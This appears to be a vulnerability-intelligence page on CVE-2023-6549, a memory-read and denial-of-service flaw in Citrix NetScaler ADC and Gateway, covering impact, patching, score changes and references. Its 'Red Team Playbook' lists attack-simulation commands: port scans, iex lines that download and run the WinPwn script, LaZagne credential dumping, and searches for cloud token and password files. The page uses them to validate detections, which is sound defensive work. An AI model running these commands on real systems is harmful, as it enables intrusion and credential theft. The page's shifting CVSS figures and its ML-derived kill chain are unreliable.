CVE-2023-6549
Overview
This vulnerability is a memory safety flaw classified as an improper restriction of operations within the bounds of a memory buffer. It arises from inadequate validation of input data length in the NetScaler ADC and NetScaler Gateway components, specifically affecting the handling of requests to the Gateway or AAA virtual server web interfaces. The root cause is an out-of-bounds memory read condition triggered by malformed input, leading to unauthorized memory access beyond allocated buffers.
Vulnerability Description
Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service and Out-Of-Bounds Memory Read
Impact
An attacker can exploit this vulnerability remotely without any authentication or user interaction to cause a denial of service or to read memory contents beyond intended boundaries. This unauthorized memory disclosure may reveal sensitive information residing in the appliance's memory, potentially aiding further attacks. The denial of service can disrupt availability of the NetScaler ADC or Gateway services, impacting business continuity and secure remote access.
Solution
Citrix has published a security bulletin (CTX584986) addressing this vulnerability for NetScaler ADC and NetScaler Gateway products. Administrators should apply the vendor-supplied patches as detailed in the advisory to all affected versions. The bulletin provides specific version updates and patching instructions. No alternative workarounds are recommended; timely application of the official patches is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to improper restrictions on operations within the bounds of a memory buffer in specific Citrix products, notably the NetScaler Application Delivery Controller and NetScaler Gateway. This flaw arises from inadequate validation of input data, which can lead to out-of-bounds memory reads. Such a condition allows attackers to manipulate the memory allocation of the affected systems, potentially leading to unauthorized access to sensitive information or causing the systems to crash. The severity of this vulnerability is underscored by its CVSS score of 7.5, indicating a significant risk to the integrity and availability of the affected products.
Attack vectors for this vulnerability are particularly concerning due to the potential for unauthenticated denial of service (DoS) attacks. An attacker could exploit this flaw by sending specially crafted requests to the affected systems without needing any form of authentication. This could lead to a state where the application becomes unresponsive, denying legitimate users access to critical services. Additionally, the out-of-bounds memory read could expose sensitive data stored in memory, such as user credentials or configuration settings, which could further compromise the security of the entire network environment.
In real-world scenarios, the impact of such a vulnerability can be profound. Organizations relying on Citrix's NetScaler products for application delivery and secure remote access could face significant operational disruptions. A successful denial of service attack could lead to downtime, resulting in lost revenue, damage to reputation, and potential regulatory penalties, especially for businesses in sectors that require stringent compliance with data protection regulations. Furthermore, the exposure of sensitive information can lead to secondary attacks, including identity theft or further exploitation of compromised systems.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify potential weaknesses in their systems. Keeping software up to date with the latest security patches is crucial, as vendors typically release updates to address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help monitor network traffic for unusual patterns indicative of exploitation attempts. Organizations should also consider implementing rate limiting and other access control measures to reduce the risk of denial of service attacks.
In conclusion, the vulnerability associated with improper memory buffer restrictions in Citrix's NetScaler products poses a significant threat to organizations that utilize these systems. The potential for unauthenticated denial of service and out-of-bounds memory reads highlights the need for robust security practices. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare to defend against potential exploits and safeguard their critical infrastructure.
The CVSS score for CVE-2023-6549 has been revised upward from 7.5 to 8.2, reflecting a reassessment of the vulnerability’s impact and exploitability. Concurrently, the EPSS score has increased modestly, indicating a growing likelihood of exploitation in the wild. This adjustment coincides with the vulnerability’s inclusion in the KEV catalog, underscoring its elevated priority within the security community. Although no new exploit techniques or ransomware affiliations have been identified, the rising EPSS trend signals heightened attacker interest or potential for opportunistic exploitation. For defenders, this means the vulnerability now represents a more urgent risk, warranting increased vigilance in monitoring and patch management efforts. The updated risk profile suggests that while active exploitation remains limited, the window for potential attacks is expanding, thus elevating the overall threat level associated with NetScaler ADC and Gateway deployments.
Update 2 — July 04, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-6549, reflecting increased probing or scanning attempts against vulnerable NetScaler ADC and Gateway instances. This uptick in telemetry signals growing adversary interest, though no new exploit techniques or ransomware affiliations have surfaced. Concurrently, the CVSS score adjustment to 7.5 aligns with refined impact assessments, indicating a slightly moderated but still high-risk profile. For defenders, this evolving landscape underscores the necessity to maintain heightened situational awareness, as the increased detection frequency suggests adversaries may be intensifying reconnaissance efforts to identify exploitable targets. While active exploitation remains limited, the combination of rising detection trends and sustained EPSS percentile ranking elevates the urgency for ongoing monitoring and timely patch application to mitigate potential denial-of-service or memory disclosure attacks.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
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Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
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Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
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Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
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Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
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Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
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Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
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Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
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Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6549 |
| support.citrix.com |
GitHub CVE
|
https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-6549 |